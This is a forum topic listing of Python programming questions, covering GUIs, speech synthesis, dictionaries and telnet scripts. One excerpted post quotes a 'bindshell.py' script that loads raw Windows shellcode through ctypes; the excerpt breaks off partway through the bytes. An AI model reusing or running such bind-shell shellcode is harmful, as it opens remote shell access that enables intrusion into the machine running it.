15,181 Topics

Member Avatar for
Member Avatar for vegaseat

A somewhat newer look at Peter Parente's pywin32 based speech engine. It will read text on your computer.

Member Avatar for ZZucker
3
305
Member Avatar for robinlrandall

It seems like a simple problem but I can't seem to find the solution. Basically I have a wx.TextCtrl on a wx.ScrolledWindow and I want to expand the TextCtrl to fill the window - a simple editor if you will. I have the "Proportion" as "1" and I've used a …

Member Avatar for robinlrandall
0
612
Member Avatar for bumsfeld
Member Avatar for Kyss
0
238
Member Avatar for dashing.adamhughes

Hi. I have a Foo class that stored a dictionary attribute called _data. I'd like the Foo class to have a dictionary interface, and defer most basic dictionary operations down to the _data attribute. I am currently overwriting the magic methods one by one: def __getitem__(self, item): return self._data[item] def …

Member Avatar for slate
0
257
Member Avatar for Varunkrishna

I am currently working on a translator which translates one document from English to German, I had created it as a GUI application using Tkinter and python 2.7, Here I am facing some problems like 1. Assume that if a person uploads a document 'samp.txt' in the using the upload …

Member Avatar for Gribouillis
0
397
Member Avatar for zehrah.sayed

Hi there. I am fairly new with python and programming altogether. I'm having a problem dividing elements of two lists, and appending the results to a new list. The problem is, the second list may contain a zero, and obviously we can't divide by zero. If it happens that we …

Member Avatar for zehrah.sayed
0
373
Member Avatar for tony75

Hi I get this error when I run bindshell.py ? line 29 is shell() "Traceback (most recent call last): File "1-bindshell.py", line 29, in <module> shell() WindowsError: exception: access violation writing 0x00000000022295A0" from ctypes import * shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" …

Member Avatar for tony75
0
212
Member Avatar for Ismatus3

Helo , I am working actualy on a function that delete a row from a table in a database , it works good with this python code : def supprimer(): global rows global element global listelement idsupprvar = idsuppr_entry.get() db = MySQLdb.connect(host = "localhost", user = "user", passwd = "123456",db …

Member Avatar for Ismatus3
0
169
Member Avatar for saugat.pradhan

def GetMemory(title, FSB1, FSB2, FSB3, Rover): word = raw_input("Enter the number of words you want to allocate: ") print "GET_MEMORY IS RUNNING......." print "Initial FSB list" Print (title, fsb1, fsb2, gsb3, rover) if int(word) <= fsb1[2]: # Size of area being returned fsb[2] = fsb[2]-int(word) fsb[1] = fsb[1]+int(word) rover = …

Member Avatar for zjtpjs4
0
172
Member Avatar for Assembly Guy

I just noticed that Perl and Python are under the Software Development category, but not Web Development, while Ruby is under Web Dev and not under Software Dev category. Don't get me wrong, they *do* belong where they currently rest, but perhaps a link to Perl, Python and Ruby could …

Member Avatar for Assembly Guy
2
213
Member Avatar for ram619

Hello, I need to write a python script for performing telnet between two windows machine, that is Host and Client. After doing Telnet Successfully I need to run some application on other machine and there in that application I need to give commands via my script aswell after giving command …

Member Avatar for ram619
0
13K
Member Avatar for nitsi

Hi, I have a weird requirement and since i have never worked on xml, xsd and python i am not understanding how to go about it. There will be 2 xsd files containing parameters(structure), (may or maynot have)default values for them and range values for them. The xml file will …

0
171
Member Avatar for die_windoze

hi all.... I'm hoping someone can shed some light onto a project I'm working on. I have an Mdrive 23 step motor that works with a serial terminal. The whole serial terminal is new to me and I'm confused by what it means. I have been able to make the …

Member Avatar for die_windoze
0
298
Member Avatar for Octet

I am attempting to learn Python, to add to my collection of languages and to get at least one programming language under my belt. So far I've only done the basics, and to test what I've learnt I made an extremelly simple calculator: #PyCalc Version 1.0 Loop = 0 print("-------------------------------------") …

Member Avatar for Octet
0
427
Member Avatar for NiescierJ

I am trying to set "myimage" as the background for my GUI but having problems with self.canvas.create_image(myimage,750,450) def __init__(self): self.root=tk.Tk() # The number of times the GUI is updated self.ctr = 0 #creating the Canvas self.canvas = tk.Canvas(self.root, width=750, height=450, bg = "black") #Sets the background as an image myimage=PhotoImage(file='world.gif') …

Member Avatar for vegaseat
0
335
Member Avatar for NiescierJ

hey i am working with python 3 and i am trying to set a gif file as my GUI background. The canvas.configure(bg=myimage) does not work. Any ideas? width, height = 800, 500 canvas = tkinter.Canvas(width=width, height=height, bg="black") canvas.pack(fill=None, expand=False) #Sets the backround image myimage = PhotoImage(file='world.gif') canvas.configure(bg=myimage)

Member Avatar for vegaseat
0
14K
Member Avatar for vegaseat

Yes, you can let your computer read text to you. The task is relatively easy, if you have Windows on your machine. All you need is Microsoft's speech-API SAPI, the Python Text to Speech module pyTTS, and an updated version of win32com, all free downloads. Here are some experiments with …

Member Avatar for ZZucker
1
2K
Member Avatar for otengkwaku

Wrote a peice of code that does something uniquc in my point of view. After that i was so excited that i published it. Only to find out that it contain a bug. By the way the bug was very defficul to spot. and by solving the bug i reworte …

Member Avatar for snippsat
0
294
Member Avatar for otengkwaku

this is a very simple app the helps yous to keep track of time. It says the time very 15 minits, by the way you can change it. it uses pyttsx which can be dowloaded and install. copy this code and save it as sayTheTime.pyw and double click it. it …

Member Avatar for snippsat
2
382
Member Avatar for TrustyTony

You can fix one parameter of function call by calling underlying method of fixed parameter instead of using functools.partial or lambda statement.

Member Avatar for paddy3118
1
286
Member Avatar for vegaseat

This code example shows how to create a dictionary with row,column indexed (r,c) key tuples from a typical list of lists 2D matrix. Also an example is shown of the ease of processing the resulting dictionary.

Member Avatar for TrustyTony
5
6K
Member Avatar for lewisrs89

What I am trying to code is a Multiplication quiz game. The trouble I am running into is that I can't seem to figure out how to pass values from one function into another without getting an error. from Tkinter import * class App(Tk): def __init__(self): Tk.__init__(self) self.headerFont = ("Helvetica", …

Member Avatar for woooee
0
218
Member Avatar for rahulinfy

code part1: name1="rahul" name2="rahul" code part2: name1=[1,2,3] name2=[1,2,3] If I run the following code: print name1 is name2 I get "True" for code part1 and I get "False" for code part2 why? why the "reference" is same for name1 and name2 in "code part1" and different for name1 and name2 …

Member Avatar for snippsat
0
212
Member Avatar for tony75

Hi I need to Write a function which takes as input two strings and count how many words are both in the two strings. Display the results sorted according the length of the word (longer first) and in case of equality by the alphabetical order?

Member Avatar for tony75
0
170
Member Avatar for giancan

Dear friends, I completed my script that makes use of opencv (import cv2) and I am experiencing problems with py2exe and other similar compiler. I work on a win7 64bit machine but all my packages and python (2.7) are 32bit because I was already planning to distribute my software on …

Member Avatar for giancan
0
367
Member Avatar for Helper guy

Suggest i am wonder about where to i start Pythone because i like it very much and i want to learn but i dn't know where to start so please suggest me ...................................

Member Avatar for M.S.
0
191
Member Avatar for NiescierJ

Hey i am new to python and i am trying to update my GUI every 3 seconds 4 times. I have tried time.sleep() but it doesnt work. Any ideas? for i in range(4): #creates 10 circles randomly on the canvas for _ in range(10): circle1= Circle(canvas, random.randint(1,750), random.uniform(1,450), "red") time.sleep(3)

Member Avatar for NiescierJ
0
124
Member Avatar for kaushik240

hey people.... i want to write a python program that should open a html file that I created and stored in the same directory. What should i place inside the server code to implement this??

Member Avatar for slate
0
69
Member Avatar for gskssit

Hi, I have a PCL file which consists of following lines for the first few lines. uil_file_new.go( "C:\MSC.Software\Patran_x64\20121/template.db", @ "C:\Users\IMEMS SDC\Desktop\patran\plate.db" ) set_current_dir( "C:\Users\IMEMS SDC\Desktop\patran" ) The uil_file_new.go which is a default command for creating new database in patran. Now i want to keep the file name as an user …

Member Avatar for Stefano Mtangoo
0
235
Member Avatar for Koljik

stupid title i know :) But anyways, is there a way to "go to" a previous line. something like this: 1. something 2. something 3. something 4. if a<b: (go to) / (do) third line ty

Member Avatar for Koljik
-1
238

The End.